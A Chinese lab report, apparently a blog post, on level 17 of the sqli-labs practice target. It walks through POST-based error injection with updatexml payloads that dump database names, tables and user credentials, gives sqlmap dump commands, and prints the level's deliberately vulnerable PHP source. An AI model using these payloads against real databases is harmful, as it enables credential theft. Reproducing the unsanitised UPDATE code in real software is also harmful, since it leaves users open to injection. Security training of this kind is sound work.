sql-labs靶场第十七关测试报告
目录
一、测试环境
1、系统环境
2、使用工具/软件
二、测试目的
三、操作过程
1、寻找注入点
2、注入数据库
①寻找注入方法
②爆库,查看数据库名称
③爆表,查看security库的所有表
④爆列,查看users表的所有列
⑤成功获取用户名和密码信息
3、sqlmap注入方法
①爆库
②爆表
③爆列
④爆字段
四、源代码分析
五、结论
一、测试环境
1、系统环境
渗透机:本机(127.0.0.1)
靶 机:本机(127.0.0.1)
2、使用工具/软件
火狐浏览器的hackbar插件,版本:2.3.1;
Burp suite,版本:2024.7.2;
测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-17/
二、测试目的
测试post型的sql注入,使用报错注入出账户密码;使用sqlmap爆破,熟悉sqlmap的参数。
三、操作过程
1、寻找注入点
尝试提交数据,发现url中没有参数,猜测是post型传参
抓个包看看,是post类型传参,两个注入点:username和password
2、注入数据库
①寻找注入方法
知道传递数据方式后,直接使用hackbar传递post型参数即可,格式抓包可以知道
uname=12&passwd=12&submit=Submit
执行,可以传递数据
这是重置密码页面:
尝试发现,用户名username框不管包含单引号还是双引号,都是不会报错的;
密码new password框分情况:如果username框中输入的是系统中不存在的用户名,则new password框中不管包含单引号还是双引号,都是不会报错的;但如果user name框中输入的是系统中存在的用户名,则new password框中包含单引号会报错。
账号admin 密码加上单引号会报错
测试闭合方式
闭合方式为单引号,后面拼接报错注入方式可以查出结果
uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select version()),1,31),0x7e),1)#&submit=Submit
②爆库,查看数据库名称
爆出所有数据库
uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#&submit=Submit
uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)#&submit=Submit
uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)#&submit=Submit
③爆表,查看security库的所有表
爆表,security表
uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#&submit=Submit
④爆列,查看users表的所有列
爆列,users表
uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1)#&submit=Submit
⑤成功获取用户名和密码信息
爆字段值,查看username和password字段的所有信息
发现查users表会出错,因为语句已经使用了更新数据的语句(是重置密码页面,因此,sql语句可能是update),不能再用updatexml函数查找这张表
uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),1,31),0x7e),1)#&submit=Submit
查其他数据库的表没问题
uname=admin&passwd=12' and updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from pikachu.users),1,31),0x7e),1)#&submit=Submit
3、sqlmap注入方法
①爆库
这关是post传参,sqlmap爆破需要抓包将数据包保存,再进行爆破
Sqlmap稳定发挥,yyds
Burp右键选择copy to file保存
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --dbs
使用python程序
-r 指定抓到的数据包文件
--dbs 是爆库的参数
②爆表
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security --tables
-D 指定数据库,在这个数据库里找数据表
--tables 爆表的参数
③爆列
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users --columns
-D 指定数据库
-T 指定数据表
--columns 爆破列名的参数
④爆字段
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users -C username,password --dump
-D 指定数据库
-T 指定数据表
-C 指定需要爆破的列名
--dump 爆破字段值的参数
四、源代码分析
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);function check_input($value){if(!empty($value)){// truncation (see comments)$value = substr($value,0,15);}// Stripslashes if magic quotes enabledif (get_magic_quotes_gpc()){$value = stripslashes($value);}// Quote if not a numberif (!ctype_digit($value)){$value = "'" . mysql_real_escape_string($value) . "'";}else{$value = intval($value);}return $value;}// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd'])){
//making sure uname is not injectable
$uname=check_input($_POST['uname']); $passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;if($row){//echo '<font color= "#0000ff">'; $row1 = $row['username']; //echo 'Your Login name:'. $row1;$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";mysql_query($update);echo "<br>";if (mysql_error()){echo '<font color= "#FFFF00" font size = 3 >';print_r(mysql_error());echo "</br></br>";echo "</font>";}else{echo '<font color= "#FFFF00" font size = 3 >';//echo " You password has been successfully updated " ; echo "<br>";echo "</font>";}echo '<img src="../images/flag1.jpg" />'; //echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font size="4.5" color="#FFFF00">';//echo "Bug off you Silly Dumb hacker";echo "</br>";echo '<img src="../images/slap1.jpg" />';echo "</font>"; }
}?>
1.error_reporting(0);函数,关闭了php代码的所有错误报告。
2.先检测了用户名是否存在,存在才会验证密码,验证密码时直接引入了变量,存在sql注入,出错时会弹出报错信息。
3.这关是重置密码的页面,出错会弹出报错信息,只能在密码处注入,存在万能密码漏洞,使用报错注入出信息。
五、结论
寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。
Post类型sql注入,注入方式要完整提交post参数,其他步骤与get类型一致。
寻找闭合符号要有耐心,需要不断地尝试。
用sqlmap的话,只需要指定抓到的数据包即可。
这关使用报错注入得到结果。
相关文章:

sql-labs靶场第十七关测试报告
目录 一、测试环境 1、系统环境 2、使用工具/软件 二、测试目的 三、操作过程 1、寻找注入点 2、注入数据库 ①寻找注入方法 ②爆库,查看数据库名称 ③爆表,查看security库的所有表 ④爆列,查看users表的所有列 ⑤成功获取用户名…...

面试官:MySQL一次到底插入多少条数据合适啊?
前言 大家好!在互联网时代,我们的每一个动作,无论是浏览网页、分享动态、点赞、购物或者搜索信息,都会在背后产生数据。这些数据,根据其用途和重要性,可能会被储存到不同的地方,其中最常见的存…...

WSL2 构建Ubuntu系统-轻量级AI运行环境
环境:Win11 软件:WSL2 安装环境:Ubuntu 22.04 检查电脑是否开启虚拟化 打开:任务管理器->性能->CPU CPU 开启虚拟化(通常默认是开启的,如果没有开启需要BIOS开启) 虚拟化设置࿰…...
什么是凸二次规划问题
我们从凸二次规划的基本概念出发,然后解释它与支持向量机的关系。 一、凸二次规划问题的详细介绍 凸二次规划问题是优化问题的一类,目标是最小化一个凸的二次函数,受一组线性约束的限制。凸二次规划是一类特殊的二次规划问题,其…...

解决 Elasticsearch cluster_block_exception 错误的终极指南
Elasticsearch 是一个功能强大的分布式搜索引擎,广泛应用于全文检索、实时分析等场景。 尽管如此,像任何复杂系统一样,它也会遇到一些运行问题,其中较为常见且影响较大的就是 cluster_block_exception 错误。 本文将深入解析这种错…...
QT sql驱动错误QMYSQL driver not loaded
引用文章QMYSQL driver not loaded 根据引用文章,到在编译QT mysql.pro的源码步骤时,构建没有报错,但是在对应的文件夹内没有找到编译好的dll文件,经过全电脑搜寻,找到在此文件夹内。 遇到同样错误的朋友可以找找QT安…...

数据驱动,漫途能耗管理系统打造高效节能新生态!
在我国能源消耗结构中,工业企业所占能耗比例相对较大。为实现碳达峰、碳中和目标,工厂需强化能效管理,减少能耗与成本。高效的能耗管理系统通过数据采集与分析,能实时监控工厂能源使用及报警情况,为节能提供数据。构建…...

PH47代码框架软件二次开发极简教程
1. 教程说明 本教程适用于对飞控及Stm32程序设计比较熟悉的二次开发者快速掌握PH47框架的使用要点。本教程仅对PH47框架中最主要的二次开发特性进行简要说明,建议与框架中\DevStudio\Algorithms\Controller_Demo.cpp(.h)示例代码配合学习。关于二次开发特性中的详细…...

SQL Server-导入和导出excel数据-注意事项
环境: win10,SQL Server 2008 R2 之前写过的放在这里: SqlServer_陆沙的博客-CSDN博客 https://blog.csdn.net/pxy7896/category_12704205.html 最近重启ASP.NET项目,在使用sql server导出和导入数据时遇到一些问题,特…...

Linux系统:配置Apache支持CGI(Ubuntu)
配置Apache支持CGI 根据以下步骤配置,实现Apache支持CGI 安装Apache: 可参照文章: Ubuntu安装Apache教程。执行以下命令,修改Apache2配置文件000-default.conf: sudo vim /etc/apache2/sites-enabled/000-default.con…...
qt 序列化和反序列化
序列化:QByteArray buffer; QBuffer bufferDevice(&buffer); bufferDevice.open(QIODevice::WriteOnly); QDataStream out(&bufferDevice); out.setVersion(QDataStream::Qt_5_13); 反序列化: void deserialize(const QByteArray &buffer) {…...
java实现文件变动监听
在文件的内容发生变动时,应用可以感知这种变种,并重新加载文件内容,更新应用内部缓存 实现 轮询:定时器Timer,ScheduledExecutorService 判断文件修改:根据java.io.File#lastModified获取文件的上次修改时…...
Maven的使用
1. Maven 简介 https://maven.apache.org/ Maven 是一个强大的项目管理和构建工具,广泛应用于 Java 项目中,旨在简化项目的依赖管理、构建、测试、部署等工作。Maven 主要通过定义 pom.xml(Project Object Model 文件)来管理项…...
C++开发进阶1:C++编程命名规范
进行C开发时最基础且最重要的是命名规范,掌握良好的命名规范能增加代码的可读性。 认识文件: .cpp:C 源文件. .h或.hpp:C 头文件 .tpp模板实现文件(如果模板定义和实现分开) .inl内联文件,…...

Android 图片相识度比较(pHash)
概述 在 Android 中,要比对两张 Bitmap 图片的相似度,常见的方法有基于像素差异、直方图比较、或者使用一些更高级的算法如 SSIM(结构相似性)和感知哈希(pHash)。 1. 基于像素的差异比较 可以逐像素比较…...

Gitlab 完全卸载–亲测可行
1、停止gitlab gitlab-ctl stop2.卸载gitlab(注意这里写的是gitlab-ce) rpm -e gitlab-ce 3、查看gitlab进程 ps aux | grep gitlab 4、杀掉第一个进程(就是带有好多.............的进程) 5、删除所有包含gitlab文件 find / …...
gitlab操作和管理
详细的说明下这几条指令: Git global setup git config --global user.name “” git config --global user.email “” Create a new repository git clone ssh://git12/letect.git cd vlm-event-secondary-detect git switch -c main touch README.md git add RE…...

ctfshow-web入门-反序列化(web254-web258)
目录 1、web254 2、web255 3、web256 4、web257 5、web258 1、web254 传入符合要求的用户名和密码即可: ?usernamexxxxxx&passwordxxxxxx 拿到 flag:ctfshow{e4795ccd-6bff-44b6-a15c-6c679d802e61} 2、web255 整体逻辑代码和上一道差不多 新…...
repo 命令大全详解(第十一篇 repo init)
repo forall 命令用于在指定的项目上执行给定的命令,非常适合批量操作。 参数分类及解释 基本参数 [<project>...]: 可选,指定要操作的项目。如果不指定,则对所有项目执行命令。 示例: repo forall my_project -c "git status&q…...

ComfyUI | 全新ComfyUI前端操作指南:提升你的工作速度!
随着WebUI基本停更,越来越多的AI创作者转向了ComfyUI。 ComfyUI最大的优势是简洁、高效、占用显存低,工作流模式虽然有一点入门难度,但一旦上手,操作非常舒适。 由于原Stable Diffusion团队的参与,ComfyUI的易用度也…...

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)
题目:3442. 奇偶频次间的最大差值 I 思路 :哈希,时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况,哈希表这里用数组即可实现。 C版本: class Solution { public:int maxDifference(string s) {int a[26]…...

springboot 百货中心供应链管理系统小程序
一、前言 随着我国经济迅速发展,人们对手机的需求越来越大,各种手机软件也都在被广泛应用,但是对于手机进行数据信息管理,对于手机的各种软件也是备受用户的喜爱,百货中心供应链管理系统被用户普遍使用,为方…...

微软PowerBI考试 PL300-选择 Power BI 模型框架【附练习数据】
微软PowerBI考试 PL300-选择 Power BI 模型框架 20 多年来,Microsoft 持续对企业商业智能 (BI) 进行大量投资。 Azure Analysis Services (AAS) 和 SQL Server Analysis Services (SSAS) 基于无数企业使用的成熟的 BI 数据建模技术。 同样的技术也是 Power BI 数据…...
三维GIS开发cesium智慧地铁教程(5)Cesium相机控制
一、环境搭建 <script src"../cesium1.99/Build/Cesium/Cesium.js"></script> <link rel"stylesheet" href"../cesium1.99/Build/Cesium/Widgets/widgets.css"> 关键配置点: 路径验证:确保相对路径.…...

cf2117E
原题链接:https://codeforces.com/contest/2117/problem/E 题目背景: 给定两个数组a,b,可以执行多次以下操作:选择 i (1 < i < n - 1),并设置 或,也可以在执行上述操作前执行一次删除任意 和 。求…...
相机Camera日志分析之三十一:高通Camx HAL十种流程基础分析关键字汇总(后续持续更新中)
【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了:有对最普通的场景进行各个日志注释讲解,但相机场景太多,日志差异也巨大。后面将展示各种场景下的日志。 通过notepad++打开场景下的日志,通过下列分类关键字搜索,即可清晰的分析不同场景的相机运行流程差异…...

Mac下Android Studio扫描根目录卡死问题记录
环境信息 操作系统: macOS 15.5 (Apple M2芯片)Android Studio版本: Meerkat Feature Drop | 2024.3.2 Patch 1 (Build #AI-243.26053.27.2432.13536105, 2025年5月22日构建) 问题现象 在项目开发过程中,提示一个依赖外部头文件的cpp源文件需要同步,点…...

用机器学习破解新能源领域的“弃风”难题
音乐发烧友深有体会,玩音乐的本质就是玩电网。火电声音偏暖,水电偏冷,风电偏空旷。至于太阳能发的电,则略显朦胧和单薄。 不知你是否有感觉,近两年家里的音响声音越来越冷,听起来越来越单薄? —…...
基于Java Swing的电子通讯录设计与实现:附系统托盘功能代码详解
JAVASQL电子通讯录带系统托盘 一、系统概述 本电子通讯录系统采用Java Swing开发桌面应用,结合SQLite数据库实现联系人管理功能,并集成系统托盘功能提升用户体验。系统支持联系人的增删改查、分组管理、搜索过滤等功能,同时可以最小化到系统…...

Aspose.PDF 限制绕过方案:Java 字节码技术实战分享(仅供学习)
Aspose.PDF 限制绕过方案:Java 字节码技术实战分享(仅供学习) 一、Aspose.PDF 简介二、说明(⚠️仅供学习与研究使用)三、技术流程总览四、准备工作1. 下载 Jar 包2. Maven 项目依赖配置 五、字节码修改实现代码&#…...